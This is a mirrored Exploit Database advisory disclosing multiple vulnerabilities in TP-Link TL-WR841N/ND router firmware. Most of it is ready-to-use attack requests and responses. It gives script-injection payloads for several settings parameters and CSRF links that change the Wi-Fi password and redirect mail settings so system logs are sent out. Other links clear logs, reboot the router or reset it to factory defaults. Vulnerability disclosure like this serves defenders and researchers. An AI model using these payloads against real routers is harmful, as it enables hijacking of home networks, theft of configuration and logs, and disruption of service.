TP-Link TL-WR841N / TL-WR841ND – Multiple Vulnerabilities

• Exploit Database
• 122 阅读

• 作者： smash
  日期： 2014-09-08
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/34584/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195

  #Title: TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities #Date: 30.06.14 #Vendor: TP-LINK #Affected versions: TL-WR841N / TL-WR841ND #Tested on: Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux #Contact: smash [at] devilteam.pl #1 - Reflected XSS in Wireless Settings Vulnerable parameters - ssid1, ssid2, ssid3, ssid4. Variables of ssid parameters are being included to wlanPara array. Because of poor filtration of those values, it is able to execute specific javascript command as shown below. While system log and config is being saved as local file (http://192.168.0.1/userRpm/SystemLog.txt & http://192.168.0.1/userRpm/config.bin), it is able to hjiack both via xss. Request: http://192.168.0.1/userRpm/WlanNetworkRpm.htm?ssid1=ROUTERNAME</script><script>alert(123)</script>&ssid2=ROUTERNAME_2&ssid3=ROUTERNAME_3&ssid4=ROUTERNAME_4®ion=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save Response: HTTP/1.1 200 OK Server: Router Webserver Connection: close Content-Type: text/html WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N" (...) <SCRIPT language="javascript" type="text/javascript"> var wlanPara = new Array( 0,8,0,"ROUTERNAME</script><script>alert(123)</script>",108,101,1,5,1,1,15,2,71,0,0,0,"cript>","ROUTERNAME_3","ROUTERNAME_4",691810163,0,0,0,"","",1,"",1,1,3,3,0,1,1,36,0,0,"","","","","","","","",1,"",0,"","",1,0,0,1,0,1,0,0 ); </SCRIPT> #2 - Persistent XSS & CSRF in Wireless Security Settings Vulnerable parameter - pskSecret. Same as above, variable of pskSecret (password) is being included in javascript array. Because of no CSRF prevention, it is able to change the password by visiting url below. pskSecret value is responsible for further password. Request: http://192.168.0.1/userRpm/WlanSecurityRpm.htm?secType=3&pskSecOpt=2&pskCipher=3&pskSecret=test&interval=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save Response: HTTP/1.1 200 OK Server: Router Webserver Connection: close Content-Type: text/html WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N" <SCRIPT language="javascript" type="text/javascript"> var wlanPara = new Array( 8, 1, 3, "332", 1, 0, "", 1812, "", "</script><script>alert(123)</script>", 1, 0, 0, 1, 3, 0, 0, 0, 5, 0, 1, "", 1, 0,0 ); </SCRIPT> #3 - Persistent XSS & CSRF in Mail Settings Vulnerable parameters - FromAddr, ToAddr, SMTPAddr. Reason is the same. Request: http://192.168.0.1/userRpm/AutoEmailRpm.htm?FromAddr=test%40test.com&ToAddr=test1%40test.com&SMTPAddr=</script><script>alert(123)</script>&User=&Password=&VeriPass=&Save=Save Response: HTTP/1.1 200 OK Server: Router Webserver Connection: close Content-Type: text/html WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N" <SCRIPT language="javascript" type="text/javascript"> var autoEmailConf = new Array( "test@test.com", "test1@test.com", "</script><script>alert(123)</script>", 0, "", 0, 0, 0, 0, 0,0 ); </SCRIPT> It is able to steal system logs by forcing our victim to set our mail settings via csrf, then logs will be send after visiting address below: http://192.168.0.1/userRpm/SystemLogRpm.htm?doMailLog=2 #4 - Persistent XSS & CSRF in Time Settings Vulnerable parameters - ntpA & ntpB. Request: http://192.168.0.1/userRpm/DateTimeCfgRpm.htm?timezone=0&month=7&day=1&year=2014&hour=2&minute=44&second=18&ntpA=</script><script>xssed<>&ntpB=&isTimeChanged=0&start_month=0&start_count=0&start_week=1&start_hour=0&end_month=0&end_count=0&end_week=1&end_hour=0&isDaylightSavingChanged=0&Save=Save Response: HTTP/1.1 200 OK Server: Router Webserver Connection: close Content-Type: text/html WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N" <SCRIPT language="javascript" type="text/javascript"> var timeInf = new Array( 7, 1, 2014, 2, 58, 52, 0, "</script>xssed<>", "0.0.0.0", 2, 2, 0, 2, 10, 1, 0, 3, 0, 0, 0,0 ); </SCRIPT> #5 - Persistent XSS & CSRF in Dynamic DNS settings Vulnerable parameters - username, password, cliUrl. Request: http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=</script><script>alert(123)</script>&pwd=password&cliUrl=&Save=Save Response: HTTP/1.1 200 OK Server: Router Webserver Connection: close Content-Type: text/html WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N" <SCRIPT language="javascript" type="text/javascript"> var serInf = new Array( "</script><script>alert(123)</script>", "password", "", 0, 0, 3, 2, 0, 1, 0,0 ); </SCRIPT> #6 - Persistent XSS & CSRF in DHCP settings Vulnerable parameter - domain. Request: http://192.168.0.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=</script>xssed<>&dnsserver=0.0.0.0&dnsserver2=0.0.0.0&Save=Save Response: HTTP/1.1 200 OK Server: Router Webserver Connection: close Content-Type: text/html WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N" <SCRIPT language="javascript" type="text/javascript"> var DHCPPara = new Array( 1, "192.168.0.100", "192.168.0.199", 120, "192.168.0.1", "</script>xssed<>", "0.0.0.0", "0.0.0.0", 1, 0,0 ); </SCRIPT> #7 - Other CSRF&apos;s   a) Clear system logs http://192.168.0.1/userRpm/SystemLogRpm.htm?logType=0&logLevel=7&ClearLog=Clear+Log&selPage=1&Page=1 b) Reboot device http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reboot c) Factory defaults reset (admin:admin) http://192.168.0.1/userRpm/RestoreDefaultCfgRpm.htm?Restorefactory=Restore Actually, there is no prevention technique to avoid csrf in this one; bug&apos;s pointed above are most interesting.